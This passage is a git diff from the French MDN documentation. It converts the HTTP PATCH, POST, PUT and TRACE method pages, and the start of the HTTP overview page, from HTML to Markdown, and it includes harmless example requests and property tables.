découvrir le support de format de patch. Tout comme <code>POST</code>, la méthode HTTP <code>PATCH</code> n'est pas listée comme étant idempotent, contrairement à <code>PUT</code>. Cela signifie que les requêtes patch identiques et successives auront des effets différents sur l'objet manipulé.</p> +La méthode HTTP {{HTTPMethod("PUT")}} est déjà définie pour écraser une ressource avec un nouveau corps complet de message, et pour la méthode HTTP {{HTTPMethod("POST")}}, il n'existe aucun moyen standard pour découvrir le support de format de patch. Tout comme `POST`, la méthode HTTP `PATCH` n'est pas listée comme étant idempotent, contrairement à `PUT`. Cela signifie que les requêtes patch identiques et successives auront des effets différents sur l'objet manipulé. -<p>Pour découvrir si un serveur supporte la méthode PATCH, un serveur peut annoncer son support en l'ajoutant à la liste des méthodes autorisées dans les headers de la réponse {{HTTPHeader ("Allow")}} ou encore {{HTTPHeader ("Access-Control-Allow-Methods")}} (pour CORS).</p> +Pour découvrir si un serveur supporte la méthode PATCH, un serveur peut annoncer son support en l'ajoutant à la liste des méthodes autorisées dans les headers de la réponse {{HTTPHeader ("Allow")}} ou encore {{HTTPHeader ("Access-Control-Allow-Methods")}} (pour CORS). -<p>Une autre indication (implicite) que la méthode PATCH est autorisée est la présence du header {{HTTPHeader("Accept-Patch")}}.</p> +Une autre indication (implicite) que la méthode PATCH est autorisée est la présence du header {{HTTPHeader("Accept-Patch")}}. <table class="properties"> - <tbody> - <tr> - <th scope="row">La requête possède un corps de message (body)</th> - <td>Oui</td> - </tr> - <tr> - <th scope="row">Une requête traitée avec succès retourne une réponse avec un corps de message (body)</th> - <td>Non</td> - </tr> - <tr> - <th scope="row">{{Glossary("Safe")}}</th> - <td>Non</td> - </tr> - <tr> - <th scope="row">{{Glossary("Idempotent")}}</th> - <td>Non</td> - </tr> - <tr> - <th scope="row">{{Glossary("Cacheable")}}</th> - <td>Non</td> - </tr> - <tr> - <th scope="row">Utilisation au sein des <a href="/fr/docs/Web/Guide/HTML/Formulaires">formulaires HTML</a></th> - <td>Non</td> - </tr> - </tbody> + <tbody> + <tr> + <th scope="row">La requête possède un corps de message (body)</th> + <td>Oui</td> + </tr> + <tr> + <th scope="row"> + Une requête traitée avec succès retourne une réponse avec un corps de + message (body) + </th> + <td>Non</td> + </tr> + <tr> + <th scope="row">{{Glossary("Safe")}}</th> + <td>Non</td> + </tr> + <tr> + <th scope="row">{{Glossary("Idempotent")}}</th> + <td>Non</td> + </tr> + <tr> + <th scope="row">{{Glossary("Cacheable")}}</th> + <td>Non</td> + </tr> + <tr> + <th scope="row"> + Utilisation au sein des + <a href="/fr/docs/Web/Guide/HTML/Formulaires">formulaires HTML</a> + </th> + <td>Non</td> + </tr> + </tbody> </table> -<h2 id="Syntaxe">Syntaxe</h2> +## Syntaxe -<pre class="syntaxbox">PATCH /file.txt HTTP/1.1 -</pre> + PATCH /file.txt HTTP/1.1 -<h2 id="Exemple">Exemple</h2> +## Exemple -<h3 id="Requête">Requête</h3> +### Requête -<pre>PATCH /file.txt HTTP/1.1 -Host: www.example.com -Content-Type: application/example -If-Match: "e0023aa4e" -Content-Length: 100 + PATCH /file.txt HTTP/1.1 + Host: www.example.com + Content-Type: application/example + If-Match: "e0023aa4e" + Content-Length: 100 -[description des changements]</pre> + [description des changements] -<h3 id="Réponse">Réponse</h3> +### Réponse -<p>Une requête traitée avec succès retourne une réponse accompagnée d'un code de réponse {{HTTPStatus("204")}}. Dans ce cas-ci, la réponse ne contient un corps de message.</p> +Une requête traitée avec succès retourne une réponse accompagnée d'un code de réponse {{HTTPStatus("204")}}. Dans ce cas-ci, la réponse ne contient un corps de message. -<pre>HTTP/1.1 204 No Content -Content-Location: /file.txt -ETag: "e0023aa4f"</pre> + HTTP/1.1 204 No Content + Content-Location: /file.txt + ETag: "e0023aa4f" -<h2 id="Spécifications">Spécifications</h2> +## Spécifications -<table class="standard-table"> - <tbody> - <tr> - <th scope="col">Spécification</th> - <th scope="col">Titre</th> - </tr> - <tr> - <td>{{RFC("5789", "PATCH")}}</td> - <td>Méthode PATCH pour HTTP (PATCH Method for HTTP)</td> - </tr> - </tbody> -</table> +| Spécification | Titre | +| -------------------------------- | ----------------------------------------------- | +| {{RFC("5789", "PATCH")}} | Méthode PATCH pour HTTP (PATCH Method for HTTP) | -<h2 id="Voir_aussi">Voir aussi</h2> +## Voir aussi -<ul> - <li>{{HTTPStatus("204")}}</li> - <li>{{HTTPHeader("Allow")}}, {{HTTPHeader("Access-Control-Allow-Methods")}}</li> - <li>{{HTTPHeader("Accept-Patch")}} – spécifie les formats de document de patch acceptés par le serveur.</li> -</ul> +- {{HTTPStatus("204")}} +- {{HTTPHeader("Allow")}}, {{HTTPHeader("Access-Control-Allow-Methods")}} +- {{HTTPHeader("Accept-Patch")}} – spécifie les formats de document de patch acceptés par le serveur. diff --git a/files/fr/web/http/methods/post/index.md b/files/fr/web/http/methods/post/index.md index a40217492e..4dd186bf86 100644 --- a/files/fr/web/http/methods/post/index.md +++ b/files/fr/web/http/methods/post/index.md @@ -8,111 +8,100 @@ tags: translation_of: Web/HTTP/Methods/POST original_slug: Web/HTTP/Méthode/POST --- -<div>{{HTTPSidebar}}</div> +{{HTTPSidebar}} -<p>La <strong>méthode HTTP <code>POST</code></strong> envoie des données au serveur. Le type du corps de la requête est indiqué par l'en-tête {{HTTPHeader("Content-Type")}}.</p> +La **méthode HTTP `POST`** envoie des données au serveur. Le type du corps de la requête est indiqué par l'en-tête {{HTTPHeader("Content-Type")}}. -<p>La différence entre <code>PUT</code> et {{HTTPMethod("POST")}} tient au fait que <code>PUT</code> est une méthode idempotente. Une requête <code>PUT</code>, envoyée une ou plusieurs fois avec succès, aura toujours le même effet (il n'y a pas d'effet de bord). À l'inverse, des requêtes <code>POST</code> successives et identiques peuvent avoir des effets additionnels, ce qui peut revenir par exemple à passer plusieurs fois une commande.</p> +La différence entre `PUT` et {{HTTPMethod("POST")}} tient au fait que `PUT` est une méthode idempotente. Une requête `PUT`, envoyée une ou plusieurs fois avec succès, aura toujours le même effet (il n'y a pas d'effet de bord). À l'inverse, des requêtes `POST` successives et identiques peuvent avoir des effets additionnels, ce qui peut revenir par exemple à passer plusieurs fois une commande. -<p>Une requête <code>POST</code> est habituellement envoyée via un <a href="/en-US/docs/Web/Guide/HTML/Forms">formulaire HTML</a> et a pour résultat un changement sur le serveur. Dans ce cas, le type du contenu est sélectionné en mettant la chaîne de caractères adéquate dans l'attribut<dfn> {{htmlattrxref("enctype", "form")}} de l'élément {{HTMLElement("form")}} ou dans l'attribut {{htmlattrxref("formenctype", "input")}} de l'élément {{HTMLElement("input") }}, voir celui des éléments {{HTMLElement("button")}}</dfn> :</p> +Une requête `POST` est habituellement envoyée via un [formulaire HTML](/en-US/docs/Web/Guide/HTML/Forms) et a pour résultat un changement sur le serveur. Dans ce cas, le type du contenu est sélectionné en mettant la chaîne de caractères adéquate dans l'attribut* {{htmlattrxref("enctype", "form")}} de l'élément {{HTMLElement("form")}} ou dans l'attribut {{htmlattrxref("formenctype", "input")}} de l'élément {{HTMLElement("input") }}, voir celui des éléments {{HTMLElement("button")}}* : -<ul> - <li><code>application/</code><dfn><code>x-www-form-urlencoded</code> : les valeurs sont encodées sous forme de couples clé-valeur séparés par <code>'&'</code>, avec un <code>'='</code> entre la clé et la valeur. Les caractères non alphanumériques sont {{glossary("percent encoded")}} : c'est la raison pour laquelle ce type de format n'est pas adapté à une utilisation avec des données binaires (utilisez <code>multipart/form-data</code> à la place)</dfn></li> - <li><dfn><code>multipart/form-data</code></dfn></li> - <li><dfn><code>text/plain</code></dfn></li> -</ul> +- `application/`_`x-www-form-urlencoded` : les valeurs sont encodées sous forme de couples clé-valeur séparés par `'&'`, avec un `'='` entre la clé et la valeur. Les caractères non alphanumériques sont {{glossary("percent encoded")}} : c'est la raison pour laquelle ce type de format n'est pas adapté à une utilisation avec des données binaires (utilisez `multipart/form-data` à la place)_ +- _`multipart/form-data`_ +- _`text/plain`_ -<p>Lorsque la requête <code>POST</code> est envoyée par un autre moyen qu'un formulaire HTML, par exemple via {{domxref("XMLHttpRequest")}}, le corps peut être de n'importe quel type. Comme décrit dans la spécification HTTP 1.1, <code>la méthode POST</code> est conçue pour permettre une méthode uniforme couvrant les fonctions suivantes :</p> +Lorsque la requête `POST` est envoyée par un autre moyen qu'un formulaire HTML, par exemple via {{domxref("XMLHttpRequest")}}, le corps peut être de n'importe quel type. Comme décrit dans la spécification HTTP 1.1, `la méthode POST` est conçue pour permettre une méthode uniforme couvrant les fonctions suivantes : -<ul> - <li>Annotation de ressources existantes</li> - <li>Publication d'un message sur un tableau d'affichage, un groupe de discussion, une liste de diffusion, ou un groupe similaire d'articles;</li> - <li>Apport d'un bloc de données, tel que le résultat produit par la soumission d'un formulaire, à un processus de traitement de données;</li> - <li>Extension d'une base de données au travers d'une opération d'ajout.</li> -</ul> +- Annotation de ressources existantes +- Publication d'un message sur un tableau d'affichage, un groupe de discussion, une liste de diffusion, ou un groupe similaire d'articles; +- Apport d'un bloc de données, tel que le résultat produit par la soumission d'un formulaire, à un processus de traitement de données; +- Extension d'une base de données au travers d'une opération d'ajout. <table class="properties"> - <tbody> - <tr> - <th scope="row">La requête a un corps</th> - <td>Oui</td> - </tr> - <tr> - <th scope="row">Une réponse inclut un corps</th> - <td>Oui</td> - </tr> - <tr> - <th scope="row">{{Glossary("Safe","Sûre")}}</th> - <td>Non</td> - </tr> - <tr> - <th scope="row">{{Glossary("Idempotent","Idempotente")}}</th> - <td>Non</td> - </tr> - <tr> - <th scope="row">{{Glossary("Cacheable","Peut être mise en cache")}}</th> - <td>Seulement si une information de péremption est incluse</td> - </tr> - <tr> - <th scope="row">Autorisée dans les <a href="/fr/docs/Web/Guide/HTML/Formulaires">formulaires HTML</a></th> - <td>Oui</td> - </tr> - </tbody> + <tbody> + <tr> + <th scope="row">La requête a un corps</th> + <td>Oui</td> + </tr> + <tr> + <th scope="row">Une réponse inclut un corps</th> + <td>Oui</td> + </tr> + <tr> + <th scope="row">{{Glossary("Safe","Sûre")}}</th> + <td>Non</td> + </tr> + <tr> + <th scope="row">{{Glossary("Idempotent","Idempotente")}}</th> + <td>Non</td> + </tr> + <tr> + <th scope="row"> + {{Glossary("Cacheable","Peut être mise en cache")}} + </th> + <td>Seulement si une information de péremption est incluse</td> + </tr> + <tr> + <th scope="row"> + Autorisée dans les + <a href="/fr/docs/Web/Guide/HTML/Formulaires">formulaires HTML</a> + </th> + <td>Oui</td> + </tr> + </tbody> </table> -<h2 id="Syntaxe">Syntaxe</h2> +## Syntaxe -<pre class="syntaxbox">POST /index.html -</pre> + POST /index.html -<h2 id="Exemple">Exemple</h2> +## Exemple -<p>Un formulaire simple utilisant le type de contenu par défaut <code>application/x-www-form-urlencoded</code> :</p> +Un formulaire simple utilisant le type de contenu par défaut `application/x-www-form-urlencoded` : -<pre>POST / HTTP/1.1 -Host: foo.com -Content-Type: application/x-www-form-urlencoded -Content-Length: 13 + POST / HTTP/1.1 + Host: foo.com + Content-Type: application/x-www-form-urlencoded + Content-Length: 13 -say=Hi&to=Mom</pre> + say=Hi&to=Mom -<p>Un formulaire utilisant le type de contenu <code>multipart/form-data</code> :</p> +Un formulaire utilisant le type de contenu `multipart/form-data` : -<pre>POST /test.html HTTP/1.1 -Host: example.org -Content-Type: multipart/form-data;boundary="boundary" + POST /test.html HTTP/1.1 + Host: example.org + Content-Type: multipart/form-data;boundary="boundary" ---boundary -Content-Disposition: form-data; name="field1" + --boundary + Content-Disposition: form-data; name="field1" -value1 ---boundary -Content-Disposition: form-data; name="field2"; filename="example.txt" + value1 + --boundary + Content-Disposition: form-data; name="field2"; filename="example.txt" -value2</pre> + value2 -<h2 id="Spécifications">Spécifications</h2> +## Spécifications -<table class="standard-table"> - <tbody> - <tr> - <th scope="col">Spécification</th> - <th scope="col">Titre</th> - </tr> - <tr> - <td>{{RFC("7231", "POST", "4.3.3")}}</td> - <td>Hypertext Transfer Protocol (HTTP/1.1): Semantics and Content</td> - </tr> - </tbody> -</table> +| Spécification | Titre | +| -------------------------------------------- | ------------------------------------------------------------- | +| {{RFC("7231", "POST", "4.3.3")}} | Hypertext Transfer Protocol (HTTP/1.1): Semantics and Content | -<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2> +## Compatibilité des navigateurs -<p>{{Compat("http.methods.POST")}}</p> +{{Compat("http.methods.POST")}} -<h2 id="Voir_aussi">Voir aussi</h2> +## Voir aussi -<ul> - <li>{{HTTPHeader("Content-Type")}}</li> - <li>{{HTTPHeader("Content-Disposition")}}</li> -</ul> +- {{HTTPHeader("Content-Type")}} +- {{HTTPHeader("Content-Disposition")}} diff --git a/files/fr/web/http/methods/put/index.md b/files/fr/web/http/methods/put/index.md index 086dfa9b8b..9c71c716db 100644 --- a/files/fr/web/http/methods/put/index.md +++ b/files/fr/web/http/methods/put/index.md @@ -9,11 +9,11 @@ translation_of: Web/HTTP/Methods/PUT original_slug: Web/HTTP/Méthode/PUT browser-compat: http.methods.PUT --- -<div>{{HTTPSidebar}}</div> +{{HTTPSidebar}} -<p>La <strong>méthode HTTP PUT</strong> crée une nouvelle ressource ou remplace une représentation de la ressource ciblée par le contenu de la requête.</p> +La **méthode HTTP PUT** crée une nouvelle ressource ou remplace une représentation de la ressource ciblée par le contenu de la requête. -<p>La différence entre <code>PUT</code> et <a href="/fr/docs/Web/HTTP/Methods/POST"><code>POST</code></a> tient au fait que <code>PUT</code> est une méthode idempotente. Une requête PUT, envoyée une ou plusieurs fois avec succès, aura toujours le même effet (il n'y a pas d'effet <em>de bord</em>). À l'inverse, des requêtes POST successives et identiques peuvent avoir des effets additionnels, ce qui peut revenir par exemple à passer plusieurs fois une commande.</p> +La différence entre `PUT` et [`POST`](/fr/docs/Web/HTTP/Methods/POST) tient au fait que `PUT` est une méthode idempotente. Une requête PUT, envoyée une ou plusieurs fois avec succès, aura toujours le même effet (il n'y a pas d'effet _de bord_). À l'inverse, des requêtes POST successives et identiques peuvent avoir des effets additionnels, ce qui peut revenir par exemple à passer plusieurs fois une commande. <table class="properties"> <tbody> @@ -30,58 +30,64 @@ browser-compat: http.methods.PUT <td>Non</td> </tr> <tr> - <th scope="row"><a href="/fr/docs/Glossary/Idempotent">Idempotente</a></th> + <th scope="row"> + <a href="/fr/docs/Glossary/Idempotent">Idempotente</a> + </th> <td>Oui</td> </tr> <tr> - <th scope="row"><a href="/fr/docs/Glossary/cacheable">Peut être mise en cache</a></th> + <th scope="row"> + <a href="/fr/docs/Glossary/cacheable">Peut être mise en cache</a> + </th> <td>Non</td> </tr> <tr> - <th scope="row">Autorisée dans les <a href="/fr/docs/Learn/Forms">formulaires HTML</a></th> + <th scope="row"> + Autorisée dans les <a href="/fr/docs/Learn/Forms">formulaires HTML</a> + </th> <td>Non</td> </tr> </tbody> </table> -<h2 id="syntax">Syntaxe</h2> +## Syntaxe -<pre class="brush: html">PUT /new.html HTTP/1.1</pre> +```html +PUT /new.html HTTP/1.1 +``` -<h2 id="example">Exemple</h2> +## Exemple -<h3 id="request">Requête</h3> +### Requête -<pre>PUT /new.html HTTP/1.1 -Host: example.com -Content-type: text/html -Content-length: 16 + PUT /new.html HTTP/1.1 + Host: example.com + Content-type: text/html + Content-length: 16 -<p>Nouveau fichier</p></pre> + <p>Nouveau fichier</p> -<h3 id="responses">Réponses</h3> +### Réponses -<p>Si la ressource ciblée ne possède pas de représentation courante et que la requête <code>PUT</code> en crée une avec succès, alors le serveur d'origine doit informer l'agent utilisateur en envoyant une réponse <a href="/fr/docs/Web/HTTP/Status/201"><code>201</code></a> (<code>Created</code>).</p> +Si la ressource ciblée ne possède pas de représentation courante et que la requête `PUT` en crée une avec succès, alors le serveur d'origine doit informer l'agent utilisateur en envoyant une réponse [`201`](/fr/docs/Web/HTTP/Status/201) (`Created`). -<pre>HTTP/1.1 201 Created -Content-Location: /new.html</pre> + HTTP/1.1 201 Created + Content-Location: /new.html -<p>Si la ressource ciblée a déjà une représentation et que cette représentation est modifiée avec succès, conformément à l'état de la représentation jointe, alors le serveur d'origine doit envoyer une réponse, que ce soit <a href="/fr/docs/Web/HTTP/Status/200"><code>200</code></a> (<code>OK</code>) ou <a href="/fr/docs/Web/HTTP/Status/204"><code>204</code></a> (<code>No Content</code>), pour indiquer la réussite de la requête.</p> +Si la ressource ciblée a déjà une représentation et que cette représentation est modifiée avec succès, conformément à l'état de la représentation jointe, alors le serveur d'origine doit envoyer une réponse, que ce soit [`200`](/fr/docs/Web/HTTP/Status/200) (`OK`) ou [`204`](/fr/docs/Web/HTTP/Status/204) (`No Content`), pour indiquer la réussite de la requête. -<pre>HTTP/1.1 204 No Content -Content-Location: /existing.html</pre> + HTTP/1.1 204 No Content + Content-Location: /existing.html -<h2 id="specifications">Spécifications</h2> +## Spécifications -<p>{{Specifications}}</p> +{{Specifications}} -<h2 id="browser_compatibility">Compatibilité des navigateurs</h2> +## Compatibilité des navigateurs -<p>{{Compat}}</p> +{{Compat}} -<h2 id="see_also">Voir aussi</h2> +## Voir aussi -<ul> - <li><a href="/fr/docs/Web/HTTP/Status/201"><code>201</code></a></li> - <li><a href="/fr/docs/Web/HTTP/Status/204"><code>204</code></a></li> -</ul> +- [`201`](/fr/docs/Web/HTTP/Status/201) +- [`204`](/fr/docs/Web/HTTP/Status/204) diff --git a/files/fr/web/http/methods/trace/index.md b/files/fr/web/http/methods/trace/index.md index d095495f3c..b9b61b762d 100644 --- a/files/fr/web/http/methods/trace/index.md +++ b/files/fr/web/http/methods/trace/index.md @@ -8,69 +8,55 @@ tags: translation_of: Web/HTTP/Methods/TRACE original_slug: Web/HTTP/Méthode/TRACE --- -<div>{{HTTPSidebar}}</div> +{{HTTPSidebar}} -<p>La <strong>méthode</strong> <strong>HTTP <code>TRACE</code> </strong>effectue un test de rebouclage des messages le long du chemin vers la ressource cible, fournissant ainsi un mécanisme de débogage utile.</p> +La **méthode** **HTTP `TRACE` **effectue un test de rebouclage des messages le long du chemin vers la ressource cible, fournissant ainsi un mécanisme de débogage utile. -<p>Le destinataire final de la demande doit renvoyer au client le message reçu, à l'exclusion de certains champs décrits ci-dessous, en tant que corps de message d'une réponse {{HTTPStatus("200")}}. (OK) avec un {{HTTPHeader("Content-Type")}} de <code>message/http</code>. Le destinataire final est soit le serveur d'origine, soit le premier serveur à recevoir une valeur {{HTTPHeader("Max-Forwards")}} de 0 dans la requête.</p> +Le destinataire final de la demande doit renvoyer au client le message reçu, à l'exclusion de certains champs décrits ci-dessous, en tant que corps de message d'une réponse {{HTTPStatus("200")}}. (OK) avec un {{HTTPHeader("Content-Type")}} de `message/http`. Le destinataire final est soit le serveur d'origine, soit le premier serveur à recevoir une valeur {{HTTPHeader("Max-Forwards")}} de 0 dans la requête. <table class="properties"> - <tbody> - <tr> - <th scope="row">La demande a un corps</th> - <td>Non</td> - </tr> - <tr> - <th scope="row">Une réponse réussie a un corps</th> - <td>Non</td> - </tr> - <tr> - <th scope="row">{{Glossary("Safe")}}</th> - <td>Oui</td> - </tr> - <tr> - <th scope="row">{{Glossary("Idempotent")}}</th> - <td>Oui</td> - </tr> - <tr> - <th scope="row">{{Glossary("Cacheable")}}</th> - <td>Non</td> - </tr> - <tr> - <th scope="row">Autorisé dans les formulaires HTML</th> - <td>Non</td> - </tr> - </tbody> + <tbody> + <tr> + <th scope="row">La demande a un corps</th> + <td>Non</td> + </tr> + <tr> + <th scope="row">Une réponse réussie a un corps</th> + <td>Non</td> + </tr> + <tr> + <th scope="row">{{Glossary("Safe")}}</th> + <td>Oui</td> + </tr> + <tr> + <th scope="row">{{Glossary("Idempotent")}}</th> + <td>Oui</td> + </tr> + <tr> + <th scope="row">{{Glossary("Cacheable")}}</th> + <td>Non</td> + </tr> + <tr> + <th scope="row">Autorisé dans les formulaires HTML</th> + <td>Non</td> + </tr> + </tbody> </table> -<h2 id="Syntaxe">Syntaxe</h2> +## Syntaxe -<pre class="syntaxbox">TRACE /index.html -</pre> + TRACE /index.html -<h2 id="Specifications">Specifications</h2> +## Specifications -<table class="standard-table"> - <thead> - <tr> - <th scope="col">Specification</th> - <th scope="col">Title</th> - </tr> - </thead> - <tbody> - <tr> - <td>{{RFC("7231", "TRACE", "4.3.8")}}</td> - <td>Hypertext Transfer Protocol (HTTP/1.1): Semantics and Content</td> - </tr> - </tbody> -</table> +| Specification | Title | +| -------------------------------------------- | ------------------------------------------------------------- | +| {{RFC("7231", "TRACE", "4.3.8")}} | Hypertext Transfer Protocol (HTTP/1.1): Semantics and Content | -<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2> +## Compatibilité des navigateurs -<p>{{Compat("http.methods.TRACE")}}</p> +{{Compat("http.methods.TRACE")}} -<h2 id="Voir_également">Voir également</h2> +## Voir également -<ul> - <li><a href="/fr/docs/Web/HTTP/Méthode">Méthodes HTTP</a></li> -</ul> +- [Méthodes HTTP](/fr/docs/Web/HTTP/Méthode) diff --git a/files/fr/web/http/overview/index.md b/files/fr/web/http/overview/index.md index ff6c0c8b68..62cf4ccc68 100644 --- a/files/fr/web/http/overview/index.md +++ b/files/fr/web/http/overview/index.md @@ -9,171 +9,163 @@ tags: translation_of: Web/HTTP/Overview original_slug: Web/HTTP/Aperçu --- -<div>{{HTTPSidebar}}</div> +{{HTTPSidebar}} -<p><strong>HTTP</strong> est un {{glossary("protocole")}} qui permet de récupérer des ressources telles que des documents HTML. Il est à la base de tout échange de données sur le Web. C'est un protocole de type client-serveur, ce qui signifie que les requêtes sont initiées par le destinataire (qui est généralement un navigateur web). Un document complet est construit à partir de différents sous-documents qui sont récupérés, par exemple du texte, des descriptions de mise en page, des images, des vidéos, des scripts et bien plus.</p> +**HTTP** est un {{glossary("protocole")}} qui permet de récupérer des ressources telles que des documents HTML. Il est à la base de tout échange de données sur le Web. C'est un protocole de type client-serveur, ce qui signifie que les requêtes sont initiées par le destinataire (qui est généralement un navigateur web). Un document complet est construit à partir de différents sous-documents qui sont récupérés, par exemple du texte, des descriptions de mise en page, des images, des vidéos, des scripts et bien plus. -<p><img alt="Un document web se compose de différentes ressources" src="fetching_a_page.png"></p> +![Un document web se compose de différentes ressources](fetching_a_page.png) -<p>Les clients et serveurs communiquent par l'échange de messages individuels (en opposition à un flux de données). Les messages envoyés par le client, généralement un navigateur web, sont appelés des <em>requêtes</em> et les messages renvoyés par le serveur sont appelés <em>réponses</em>.</p> +Les clients et serveurs communiquent par l'échange de messages individuels (en opposition à un flux de données). Les messages envoyés par le client, généralement un navigateur web, sont appelés des _requêtes_ et les messages renvoyés par le serveur sont appelés _réponses_. -<p><img alt="HTTP est un protocole de la couche d'application fonctionnant au-dessus de TCP (pour la couche de transport) et IP (pour la couche réseau). HTTP est en dessous de la couche de présentation." src="http-layers.png"> Conçu au début des années 1990, HTTP est un protocole extensible qui a évolué au cours du temps. C'est un protocole de <a href="https://fr.wikipedia.org/wiki/Couche_application">la couche application</a> dont les données transitent via {{glossary("TCP")}} ou à travers une connexion TCP chiffrée avec {{glossary("TLS")}}. En théorie, tout protocole de transport fiable pourrait être utilisé. En raison de son extensibilité, il n'est pas seulement utilisé pour récupérer des documents, mais aussi pour des images, des vidéos ou bien pour renvoyer des contenus vers des serveurs, comme des résultats de formulaires HTML. HTTP peut aussi être utilisé pour récupérer des parties de documents pour mettre à jour à la demande des pages web.</p> +![HTTP est un protocole de la couche d'application fonctionnant au-dessus de TCP (pour la couche de transport) et IP (pour la couche réseau). HTTP est en dessous de la couche de présentation.](http-layers.png) Conçu au début des années 1990, HTTP est un protocole extensible qui a évolué au cours du temps. C'est un protocole de [la couche application](https://fr.wikipedia.org/wiki/Couche_application) dont les données transitent via {{glossary("TCP")}} ou à travers une connexion TCP chiffrée avec {{glossary("TLS")}}. En théorie, tout protocole de transport fiable pourrait être utilisé. En raison de son extensibilité, il n'est pas seulement utilisé pour récupérer des documents, mais aussi pour des images, des vidéos ou bien pour renvoyer des contenus vers des serveurs, comme des résultats de formulaires HTML. HTTP peut aussi être utilisé pour récupérer des parties de documents pour mettre à jour à la demande des pages web. -<h2 id="Composants_des_systèmes_basés_sur_HTTP">Composants des systèmes basés sur HTTP</h2> +## Composants des systèmes basés sur HTTP -<p>HTTP est un protocole client-serveur : les requêtes sont envoyées par une entité : l'agent utilisateur (ou le proxy qui agit au nom de celui-ci). La majorité du temps, l'agent utilisateur est un navigateur web, mais cela peut-être n'importe quoi, un robot qui analyse le Web pour remplir et maintenir l'index d'un moteur de recherche est un exemple d'agent utilisateur.</p> +HTTP est un protocole client-serveur : les requêtes sont envoyées par une entité : l'agent utilisateur (ou le proxy qui agit au nom de celui-ci). La majorité du temps, l'agent utilisateur est un navigateur web, mais cela peut-être n'importe quoi, un robot qui analyse le Web pour remplir et maintenir l'index d'un moteur de recherche est un exemple d'agent utilisateur. -<p>Chaque requête individuelle est envoyée au serveur, qui la traite et fournit une <em>réponse</em>. Entre cette requête et la réponse se trouve de nombreuses entités qu'on désignera de façon générique sous le terme {{glossary("Proxy", "proxies")}}. Celles-ci exécutent différentes opérations et agissent comme passerelles ou comme {{glossary("Cache", "caches")}} par exemple.</p> +Chaque requête individuelle est envoyée au serveur, qui la traite et fournit une _réponse_. Entre cette requête et la réponse se trouve de nombreuses entités qu'on désignera de façon générique sous le terme {{glossary("Proxy", "proxies")}}. Celles-ci exécutent différentes opérations et agissent comme passerelles ou comme {{glossary("Cache", "caches")}} par exemple. -<p><img alt="chaîne client serveur" src="client-server-chain.png"></p> +![chaîne client serveur](client-server-chain.png) -<p>En réalité, il y a plus d'un ordinateur entre un navigateur et le serveur qui traite la requête : il y a les routeurs, les modems et bien plus. Grâce à la construction en couche du Web, ces intermédiaires sont cachés dans les couches réseau et transport. HTTP est bâti sur la couche applicative. Bien qu'elles puissent s'avérer importantes lorsqu'il s'agit de diagnostiquer des problèmes réseau, les couches inférieures ne sont pas pertinentes ici pour décrire HTTP.</p> +En réalité, il y a plus d'un ordinateur entre un navigateur et le serveur qui traite la requête : il y a les routeurs, les modems et bien plus. Grâce à la construction en couche du Web, ces intermédiaires sont cachés dans les couches réseau et transport. HTTP est bâti sur la couche applicative. Bien qu'elles puissent s'avérer importantes lorsqu'il s'agit de diagnostiquer des problèmes réseau, les couches inférieures ne sont pas pertinentes ici pour décrire HTTP. -<h3 id="Le_client_lagent_utilisateur">Le client : l'agent utilisateur</h3> +### Le client : l'agent utilisateur -<p>L'<em>agent utilisateur</em> correspond à n'importe quel outil qui agit pour le compte de l'utilisateur. Ce rôle est principalement rempli par le navigateur web ; les exceptions étant les programmes utilisés par des ingénieurs et développeurs web pour le débogage de leurs applications.</p> +L'_agent utilisateur_ correspond à n'importe quel outil qui agit pour le compte de l'utilisateur. Ce rôle est principalement rempli par le navigateur web ; les exceptions étant les programmes utilisés par des ingénieurs et développeurs web pour le débogage de leurs applications. -<p>Le navigateur est <strong>toujours</strong> celui qui initie la requête. Il ne s'agit jamais du serveur (bien que certains mécanismes aient été ajoutés au cours des années afin de simuler les messages initiés par un serveur).</p> +Le navigateur est **toujours** celui qui initie la requête. Il ne s'agit jamais du serveur (bien que certains mécanismes aient été ajoutés au cours des années afin de simuler les messages initiés par un serveur). -<p>Pour afficher une page web, le navigateur envoie une requête initiale pour récupérer le document HTML depuis la page. Ensuite, il analyse le fichier et récupère les requêtes additionnelles qui correspondent aux scripts, aux informations de mise en page (CSS) et les sous-ressources contenues dans la page (généralement des images et des vidéos). Le navigateur web assemble alors ces ressources pour présenter un document complet à l'utilisateur : c'est la page web. Les scripts exécutés par le navigateur peuvent permettre de récupérer plus de ressources par la suite afin de mettre à jour la page web.</p> +Pour afficher une page web, le navigateur envoie une requête initiale pour récupérer le document HTML depuis la page. Ensuite, il analyse le fichier et récupère les requêtes additionnelles qui correspondent aux scripts, aux informations de mise en page (CSS) et les sous-ressources contenues dans la page (généralement des images et des vidéos). Le navigateur web assemble alors ces ressources pour présenter un document complet à l'utilisateur : c'est la page web. Les scripts exécutés par le navigateur peuvent permettre de récupérer plus de ressources par la suite afin de mettre à jour la page web. -<p>Une page web est un document hypertexte. Cela signifie que certaines parties sont des liens qui peuvent être activés (généralement avec un clic de souris) afin de récupérer une nouvelle page web, permettant à l'utilisateur de diriger son agent utilisateur et de naviguer sur le Web. Le navigateur traduit ces instructions en requêtes HTTP et interprète les réponses HTTP pour présenter une réponse claire à l'utilisateur.</p> +Une page web est un document hypertexte. Cela signifie que certaines parties sont des liens qui peuvent être activés (généralement avec un clic de souris) afin de récupérer une nouvelle page web, permettant à l'utilisateur de diriger son agent utilisateur et de naviguer sur le Web. Le navigateur traduit ces instructions en requêtes HTTP et interprète les réponses HTTP pour présenter une réponse claire à l'utilisateur. -<h3 id="Le_serveur_web">Le serveur web</h3> +### Le serveur web -<p>De l'autre côté du canal de communication, on trouve le serveur qui <em>sert</em> le document demandé par le client. Bien qu'on présente virtuellement le serveur comme un seul ordinateur, en réalité, il peut s'agir d'un ensemble de serveurs se répartissant la charge (<em>load balancing</em>) ou d'une architecture logicielle complexe qui interroge d'autres serveurs (par exemple un cache, un serveur de base de données, serveur d'e-commerce…), qui génèrent totalement ou partiellement le document à la demande.</p> +De l'autre côté du canal de communication, on trouve le serveur qui _sert_ le document demandé par le client. Bien qu'on présente virtuellement le serveur comme un seul ordinateur, en réalité, il peut s'agir d'un ensemble de serveurs se répartissant la charge (_load balancing_) ou d'une architecture logicielle complexe qui interroge d'autres serveurs (par exemple un cache, un serveur de base de données, serveur d'e-commerce…), qui génèrent totalement ou partiellement le document à la demande. -<p>D'une part, un serveur n'est pas nécessairement une machine unique et d'autre part, plusieurs serveurs peuvent être hébergés sur une même machine. Avec HTTP/1.1 et l'en-tête {{HTTPHeader("Host")}}, ils peuvent également partager la même adresse IP.</p> +D'une part, 